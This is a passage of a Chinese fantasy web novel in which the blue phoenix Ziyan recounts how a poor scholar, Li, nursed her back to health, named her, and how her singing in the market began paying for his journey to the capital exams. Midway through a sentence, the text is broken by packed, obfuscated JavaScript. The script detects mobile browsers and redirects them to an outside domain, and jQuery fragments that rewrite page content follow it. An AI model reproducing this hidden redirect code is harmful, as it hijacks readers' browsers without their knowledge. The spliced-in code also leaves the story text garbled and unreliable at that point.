沈大人自五更时分将紫烟救出后,又将当时之情状一一讲述来,离忧心知,她应有牵挂掌握在灵洛酒家手中。
如今见她跪地不起,轻叹一声,将床边备着的绿袄子披在她身上,在她耳边劝道:
“娘子好好想想,一来,既已逃出魔窟,断没有再回去的道理。二来,如今他们怕是已察觉娘子你已不在酒楼,纵然再回去,必将于事无补,娘子你该如何自处?”
紫烟听这话,心中一惊,忙抬起头,急切地看着离忧,眼中又滚出千行泪。
却不等紫烟言语,离忧已轻轻将她扶起坐于床边,又看了一眼屏风外隐约坐着的两个身影,轻声问着:
“昨天沈少侠漏液带娘子出来,闻言娘子谈及一人,说他会被打死,想必娘子正是为了此人,才甘愿重陷囹圄,不知可否细说?”
紫烟含泪看着眼前女子,轻轻摇头道:“贵人与紫烟萍水相逢,不顾身份低微,替紫烟疗伤,已是大义,紫烟无以为报!可李郎之事本是我心甘情愿,况那灵洛酒家又手段非常……诸君又何必再为紫烟冒险呢?”
“李郎?”
离忧心中一沉,纵是祥瑞神鸟,也不过有情众生,终究难逃一个痴字去。
谁知赵三儿在一旁早已急得跺脚,如今听她一番言论,似是自甘堕落,更是瞪着眼睛,急道:
“我只知鸾鸟乃上古血脉,世间祥瑞,若是神仙也做得!如何是卑贱之躯?”
紫烟看着那红衣少女年纪轻轻却一腔热血,口中言论直击内心伤痛,一时间又感激又痛心,遂低头垂泪,自嘲道:“小娘子所言不错,是紫烟自轻自贱。许是紫烟没本事,每每念及往事,只觉是大梦一场,待醒来时,不知怎么,自己已是这般收场……”
待他哽咽片刻,才轻轻抹了泪,娓娓道来:
“紫烟之旧事,说来实在可笑……
“如诸君所言,我本为青鸾,在尘世五百年,与族人云游四海,倒也自由畅快。我族乃上古祥鸟,非太平盛世中梧桐而不栖,非河清海晏之甘露而不饮。五十年前,东海幽澜鲛人一族烽烟肆起,我随族人一同南逃至广安一带。不想茫茫三千里,竟不得饮食、无枝可依,我族或饿死、或累死,至广安,已成凋零之势。唯我尚年轻,残喘着独活了下来,苟且隐居于广安西郊的玉湖畔。”
“一晃五十载,我独自偷生,心中空虚寂寥,竟是度日如年。于是我终日彷徨,郁郁寡欢,一连半月懒于饮食,终于身体不支,晕倒在湖畔柳下——”
身边忽而飘过一阵米香,青鸾数日不曾饮食,如今体内正是饥渴难耐。
她挣扎着想站起来,奈何浑身瘫软,眼皮如灌了铅般,沉沉的抬不起来,只略动了动翼上的彩羽。
“鹦哥儿,小鹦哥儿,快吃些吧!可惜我自身难保,买不起鸟食,这是我自己吃的米粥,你倒也吃些,不吃可怎么好呢?”
她乃一届鸾鸟,如何用此等凡尘粗食相玷污?
青鸾心中冷笑,忍着腹中饥饿,挣扎着扑扇羽翼。
虽为鸟雀,不想竟如此执拗!
那人将手中的勺执回碗内,似颇为气恼,厉声道:“我知你自持羽翼艳丽、气度不凡,不肯收这穷举子的嗟来之食。但你可知,天地不仁,视万物为刍狗,这世间从不怜惜自诩清高者!”
天地不仁,视万物为刍狗。青鸾默念着,难掩心中苦涩。渐渐地冷静下来。
听那人接着说道:“我只是个掉书袋的,原没有你遨游天地的灵气。可你今日若是死了,枯骨于山野之中,你便是生得这一身彩翼,又能如何?世间再无人记得你!我只劝你这一次,死了便什么都没有了,你可要想清楚!”
青鸾一时语噎,终于努力睁开了眼,只见眼前一布衣书生,身形清瘦,却面容俊朗,一双明眸更是目光炯炯,闪着热泪,神采斐然。
青鸾目不转睛地盯着他的脸,心中一热。
天地不仁,视万物为刍狗。
这世间从不怜惜自诩清高者。死了便什么都没有了。
你倒有趣,费这等口舌,劝一只“鹦哥儿”作何呢?
那书生却听不见她心中言语,脸上还挂着怒气,愤愤地端起一旁粗陶碗,取一勺稀粥,生硬地递至鹦哥嘴边。
青鸾看着他满脸愤愤不平,不觉好笑,眨了眨眼,抬头朝勺内啄了两口。
俗物粗蠢,竟有一丝温暖甘甜。许是自己数日不曾饮食罢。
书生看那鸟儿肯吃了些,眼里不禁柔软了几分,嘴里浅浅勾起苦涩的笑:
“这便对了,定要好好活着,你也是,我也是。”
*
如此几日,青鸾总算养回了些精神,也能站起来了。这才知道,自己身在玉湖旁的一偏僻古寺,名叫“莫虚寺”。救自己的穷苦举子姓李,满腹经纶,颇有几分才学,只可惜先父嗜赌,家道中落。也曾刮垢磨光,练得满腹文章,如今却功名未遂,落得书剑飘零。只得寄居在这寺中,靠卖字画勉强过活。
从此,青鸾私自破了戒,渴了便饮庙内井水,饿了便食粗米稀粥。此乃鸾鸟之大辱,但李郎所言极是,世间从不怜惜自诩清高者,她已是畸零一枝,纵然就死,兀自化成灰,又有谁记得呢?
窗外梧桐枝头鸟,屋内落破席上人,二者都是世间无依无靠、潦倒零落之身。相互依靠,倒也慰藉。
不想一日,她在院中等至晌午,却依旧不见那书生,心下狐疑,悄然飞至窗内,这才发觉李郎浑身发热,躺在床上,呻吟不已。
青鸾虽不懂凡人医术,却有族内隐方。
自古至纯之水便是圣物,圣水又分多种,也各有所用。鸾鸟所饮那河清海晏之甘露便为其一,而西南幽篁深山中之水又为其一,其水至纯至净,饮之使凡人驱邪避害。上古便有奇草,受那山中朝露灌溉千年,而成绛珠仙草。
青鸾念及当日救命之恩,定了定神,搛了井边的破瓢,迎风展翅,扶摇直上,不眠不休飞了三天三夜,至那幽篁山中,寻得至纯之水带了回来。
此时李郎两颧发红,躺在床上,呼气深沉,进气无力。青鸾心道不妙,情急之下彩翼翩跹,化出人形,捧着瓢,将圣水仔细喂进了他口中。
不出半日,青鸾见李郎高烧已退,身体松快了些,正要还了原形飞回梧桐枝上,却没想到李郎翻身下床,向她一拜,道:“在下有眼不识仙子,得仙子相救,感激不尽。”
原来那书生高烧之中,半梦半醒,却神志清醒,眼见着那鹦哥儿衔着一瓢水近来,摇身变成了一身着彩纱的妙龄女子,心下一惊,便有了计较。
青鸾见已败露,索性将身份一一相告,书生仔细听着,连连点头作揖,又问芳名,青鸾只摇摇头道:“我只知是青鸾,游历四海,鲜少面世。如今初至红尘,不曾有名。”
书生闻言浅浅一笑,起身背着手踱步一二,笑道:“有诗云:青鸾飞入合欢宫,紫凤衔花出禁中。我给姑娘取一小名,便唤作紫烟,可还喜欢?”
高贵艳丽为紫,一迹绝尘乃烟。青鸾拍手笑道:“好得很,李郎才学不凡,我从此便叫紫烟。”
二人喜不自禁,说笑攀谈一番。
少倾,那李郎却突然仰天长叹,面露愁容,苦笑道:“只是,仙子乃天外佳人,奈何我一介书生,穷困潦倒,不堪托付,仙子还是早日去得好”。
紫烟一惊,忙道:“李郎这话折煞紫烟了,那日若无李郎相劝,恐我早已灰飞烟灭,李郎乃紫烟的救命恩人!李
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416425|168423||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
郎才华斐然,又有鸿鹄之志,我定想办法,送李郎北上盛京,一举蟾宫折桂,了却心愿!”
李郎顿时变了脸色,摆手沉声道:“莫说这样的话!仙子可知,一行北上赶考需多少盘缠银两?便是我卖十年字画,也赚不来的!”
紫烟性情天真,转了转水绿的眼睛,莞尔笑道:“这又有何难?我隐居山林,惯会采了花草编些个玩意儿。不如我做些花环、草篮子等物件,到城中去卖,却也新奇脱俗。如此,李郎一人凑钱要十年,你我二人却仅需五年便成了!”
**
鸾鸟彩羽长成便需百年,与她而言,人间五年,不过须臾。
如此盘算着,紫烟喜不自禁,兴致勃勃地编了一夜花环,次日至广安城中卖。谁知市集之中奇珍异宝无数,紫烟席地而坐,摊前客却寥寥。
正当百无聊赖之际,忽见对面胭脂铺内银光一晃,定睛看去,原来是一位女宾嘴上试了胭脂,正背对自己,举着妆镜看呢!紫烟看着小小镜边映着自己的影子,心中喜悦,不禁随口哼出小调来。
那声音细腻婉转,市集中行人无不受歌声吸引,驻足赏听。
一曲唱闭,紫烟已被男女老少团团围住,一时掌声四起,叫好连连。不知是谁伸出手来,撒了一把钱来,铜钱叮叮当当在地上打转。不少看客纷纷效法,有打赏几个钱的,有取下身上物件抛来的,装了满满一袋子。
紫烟心中又惊又喜,转身回了庙中来,将今日之奇遇讲与李郎听。
李郎听闻,目光如炬,忙问紫烟有此本领,何不多唱几首。
紫烟摇头笑道:“唱不了了!本是一个阿姐举着镜子照见了我的脸,这才唱了起来,那阿姐走了,我便唱不出来了。”
李郎顿时醍醐灌顶,连连拍手点头道:“是了!鸟见其类而后鸣!紫烟仙子是在镜中见了同类,这才唱了出来!”
紫烟见其言有理,拍手笑道:“李郎如此一说,竟真是如此!五十年前,我失了族友,独自隐居那玉湖畔,自此从未开过口。今日方得以一唱,好是痛快!”
李郎眼中精光一闪,转身从床下拖出一半旧的木箱,箱内左不过是些书籍字画。李郎跪于箱前,翻找片刻,从箱底拉出一面铜镜来。笑道:“原是家里逃难带来的小玩意,险些扔了,却不想如今有了妙用。”
铜鉴翻转,随即歌声扬起。李郎听着心旷神怡,果然天籁!
一曲唱罢,紫烟还欲再唱。却被李郎一把扣倒铜镜,紫烟顿感歌兴寥寥。
“此曲只应天上有,人间能得几回闻!好歌!实在好歌!”李郎胸中沸腾,拍膝画圈,不禁热泪盈眶。
紫烟见着,心中自豪,挺了挺胸脯,歪着脑袋,满眼含笑。
那李郎回味片刻,又道:“曲是好曲,只可惜有调无词。若是捡时兴的诗词相和,以姑娘的妙音相佐,岂不更好?”
紫烟笑着称是。李郎随手拿起案边一本,翻看片刻,笑道:“有了!这首又通俗又俏皮,又不失雅致,定能口口相传!”
紫烟忙令其念来听。
李郎单手执书,清了清嗓子,柔声念来:
“春日宴,绿酒一杯歌一遍。
再拜陈三愿:一愿郎君千岁,二愿妾身常健,三愿如同梁上燕,岁岁长相见。”
——“如此月余,我与李郎每日清晨携手而出,日落并肩而归。我进城向西,来市集对镜卖唱,虽不知他在城中何处,想必他在东市某处卖着字画。我虽破了戒,染了凡气,但那段日子却比身为神鸟时更有奔头。”
紫烟将肩上的袄子拢紧些,回忆往昔,嘴角挂着一丝笑意。只是水绿的眸子含着泪,依旧无光。
“但却好景不长,我终于遇着了她。”